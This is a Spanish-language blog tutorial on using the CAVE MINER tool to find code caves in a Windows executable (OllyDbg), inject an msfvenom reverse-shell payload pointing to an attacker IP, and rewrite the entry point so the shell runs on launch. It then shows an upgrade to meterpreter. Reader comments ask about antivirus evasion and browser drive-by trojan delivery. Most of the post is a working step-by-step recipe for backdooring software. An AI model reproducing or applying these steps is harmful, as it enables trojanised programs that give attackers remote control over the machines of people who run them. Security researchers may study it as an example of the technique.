lunes, 10 de julio de 2017

Inyectar shell inversa en PE (.exe) con CAVE MINER


Hace poco en KitPloit publicaron una herramienta llamada CAVE MINER que me pareció muy interesante. Si alguno estuvo siguiendo las entradas de reversing que escribí durante los últimos 2 meses, recordará que cuando queríamos inyectar algún código propio dentro de un ejecutable ya compilado debíamos buscar un hueco para ello e inyectarlo allí. Justamente, lo que hace CAVE MINER es buscar dentro de un ejecutable aquellos huecos y nos informa el offset de inicio y el tamaño de dicho espacio. Adicionalmente nos permite inyectar un payload (código que deseemos) dentro del hueco que prefiramos.

Veamos cómo puede sernos útil esta herramienta en la práctica, inyectando dentro de un ejecutable, una shell inversa de Metasploit.
 
Como primer paso, descargamos la herramienta desde el github: https://github.com/Antonin-Deniau/cave_miner y la instalamos ejecutando el setup.py con Python 2.x.

Una vez que la instalación finalizó, podemos ejecutar el comando “cave_miner” desde cualquier punto y obtendremos la ayuda de la herramienta.


He tomado el primer ejecutable que tenía a mano, el cual era el binario de OllyDBG, y lo pasé como parámetro a la herramienta, utilizando el comando “search”.


De todos los huecos que ha encontrado, me quedo con el que comienza en el offset 0x000c9d4b, ya que es el de mayor tamaño.



En ese espacio, inyectaremos el payload de una shell inversa generada con msfvenom. La misma la creamos con el siguiente comando: msfvenom -p windows/shell/reverse_tcp LHOST=[IP_ATACANTE] LPORT=4444 -f raw -o shell.bin.


Una vez creado el archivo con el payload en raw, se lo pasamos de parámetro a la herramienta, junto con el offset donde comienza el hueco donde deseamos inyectarlo. Si consultamos la ayuda, el formato para hacerlo es el siguiente: cave_miner inject <payload> <archivo_a_inyectar> <offset_del_hueco>.

Por lo tanto, el comando se conforma de la siguiente manera: cave_miner inject shell.bin ollydbg.exe 0x000c9d4b.

Si bien, tras finalizar este paso, tenemos la shell correctamente inyectada en el archivo del Ollydbg, la misma no será ejecutada en ningún momento ya que no hay ninguna instrucción del programa que lo lleve a procesar el código que hemos añadido en aquel hueco. Para cambiar esto, modificaremos el Entry Point del ejecutable de manera que al iniciar se dirija a la primera instrucción que ejecuta el payload.

Ahora bien… ¿Cuál es la dirección de la primera instrucción del payload? Ya tenemos el offset que nos informó cave miner, ahora simplemente convertiremos el offset a RVA utilizando el conversor de Stud_PE que vimos en notas anteriores.



Hecha la conversión, sabemos que la RVA donde tenemos que apuntar el Entry Point es la C9D4B. Así que abrimos el ejecutable con Lord PE y hacemos la modificación.


Guardamos el ejecutable y ahora sí, está listo para ser ejecutado en cualquier equipo y devolvernos la shell inversa (no olvidemos configurar el exploit/multi/handler antes de ejecutar el binario modificado).


Si quisiéramos, podríamos fácilmente pasar de esta simple shell inversa a una sesión de meterpreter. Para ello mandamos la shell a background presionando CTRL+Z y configuramos el módulo de post/multi/manage/shell_to_meterpreter para utilizar sobre dicha shell.


Configuramos también el LHOST y LPORT de acuerdo a nuestro equipo y ejecutamos “run”.


La nueva sesión quedará en background también. Podemos interactuar con ella ejecutando el comando sessions -i <id>.


Bueno, that’s all :-) ¡Espero que les sea útil!. Hasta la próxima ;).

Author: Sheila A. Berta.
Tw: @UnaPibaGeek.
Web: www.semecayounexploit.com.

3 comentarios:

  1. hermosura con esta tecnica el av lo detecta? conoces algun exploit donde pueda penetrar desde el navegador que le descargue un trojano y se ejecute cuando entre a la pagina?

    ResponderEliminar
  2. fijate esto https://www.youtube.com/watch?v=oDwdsCVwmQM

    ResponderEliminar
  3. hola con respecto al tamaño, el payload no debe superarlo? por ejemplo ahi veo que tu payload es de 333 bytes y 469 que es? el tamaño medido en bytes? y otra cosas si termina en 2f7 cuanto seria el tamaño?

    ResponderEliminar